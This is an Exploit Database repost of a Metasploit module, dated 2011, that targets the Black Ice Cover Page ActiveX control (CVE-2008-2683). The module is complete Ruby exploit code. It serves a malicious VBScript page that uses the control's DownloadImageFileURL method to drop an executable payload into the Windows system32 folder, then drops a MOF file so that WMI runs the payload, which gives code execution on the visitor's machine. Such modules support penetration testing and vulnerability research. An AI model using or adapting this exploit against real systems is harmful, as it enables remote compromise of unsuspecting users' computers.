Black Ice Cover Page – ActiveX Control Arbitrary File Download (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2011-06-21
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17424/

• ##
  # $Id: blackice_downloadimagefileurl.rb 12992 2011-06-21 02:51:39Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::EXE
  	include Msf::Exploit::WbemExec
  
  	include Msf::Exploit::Remote::BrowserAutopwn
  	autopwn_info({
  		:os_name=> OperatingSystems::WINDOWS,
  		:javascript => true,
  		:rank => NormalRanking,
  		:vuln_test=> nil,
  	})
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',
  			'Description'=> %q{
  					This module allows remote attackers to place arbitrary files on a users file system
  				by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX
  				Control (BIImgFrm.ocx 12.0.0.0).Code exeuction can be acheived by first uploading the
  				payload to the remote machine, and then upload another mof file, which enables Windows
  				Management Instrumentation service to execute the binary. Please note that this module
  				currently only works for Windows before Vista.Also, a similar issue is reported in
  				BIDIB.ocx (10.9.3.0) within the Barcode SDK.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[ 
  					'shinnai',# original discovery
  					'mr_me',# msf
  					'sinn3r'# wbemexec tekniq
  				],
  			'Version'=> '$Revision: 12992 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-2683'],
  					[ 'OSVDB', '46007'],
  					[ 'BID', '29577'],
  					[ 'URL', 'http://www.exploit-db.com/exploits/5750/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Payload'=>
  				{
  					'Space' => 2048,
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					#Windows before Vista
  					[ 'Automatic', { } ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jun 05 2008'))
  	end
  
  	def autofilter
  		false
  	end
  
  	def check_dependencies
  		use_zlib
  	end
  
  	def on_request_uri(cli, request)
  
  		if request.uri.match(/\.EXE/)
  			print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
  			send_response(cli, @payload, { 'Content-Type' => 'application/octet-stream' })
  			return
  		elsif request.uri.match(/\.MOF/)
  			return if @mof_name == nil or @payload_name == nil
  			print_status("Generating mof...")
  			mof = generate_mof(@mof_name, @payload_name)
  			print_status("Sending MOF to #{cli.peerhost}:#{cli.peerport}...")
  			send_response(cli, mof, {'Content-Type'=>'application/octet-stream'})
  			return
  		end
  
  		url ="http://"
  		url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  		url += ":" + datastore['SRVPORT'] + get_resource() + "/"
  
  		#VBScript variables
  		clsid = "79956462-F148-497F-B247-DF35A095F80B"
  		method= "DownloadImageFileURL"
  		blackice= rand_text_alpha(rand(100) + 1) #BlackIce object ID
  		@payload_name = rand_text_alpha(rand(10) + 1) + ".EXE" #Payload name
  		payload_vbs_url_name= rand_text_alpha(5) #Payload's vbs var name
  		payload_vbs_lpath = rand_text_alpha(6) #Payload's lpath var name
  		@mof_name = rand_text_alpha(rand(10) + 1) + ".MOF" #MOF path on victim machine
  		mof_vbs_url_name= rand_text_alpha(5) #MOF's vbs var name
  		mof_vbs_lpath = rand_text_alpha(6) #MOF's lpath var name
  		sub_name= rand_text_alpha(rand(10) + 1)#Subroutine name
  
  		#Slow connection friendly: We will wait for 4 seconds before we try to execute our payload
  		#This delay seems necessary before calling mof, otherwise we end up interrupting downloading
  		#our payload
  		content = <<-EOS
  		<html>
  		<object classid='clsid:#{clsid}' id='#{blackice}' ></object>
  		<script language='vbscript'>
  		sub #{sub_name}
  		#{mof_vbs_url_name} = "#{url}#{@mof_name}"
  		#{mof_vbs_lpath} = "C:\\WINDOWS\\system32\\wbem\\mof\\#{@mof_name}"
  		#{blackice}.#{method} #{mof_vbs_url_name}, #{mof_vbs_lpath}
  		end sub
  
  		#{payload_vbs_url_name} = "#{url}#{@payload_name}"
  		#{payload_vbs_lpath} = "C:\\WINDOWS\\system32\\#{@payload_name}"
  		#{blackice}.#{method} #{payload_vbs_url_name}, #{payload_vbs_lpath}
  		setTimeout "#{sub_name}()", 4000
  		</script>
  		</html>
  		EOS
  
  		#Clear the extra tabs
  		content = content.gsub(/^\t\t/, '')
  
  		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  		send_response_html(cli, content)
  		handler(cli)
  
  	end
  
  	def exploit
  		@payload = generate_payload_exe
  		super
  	end
  
  end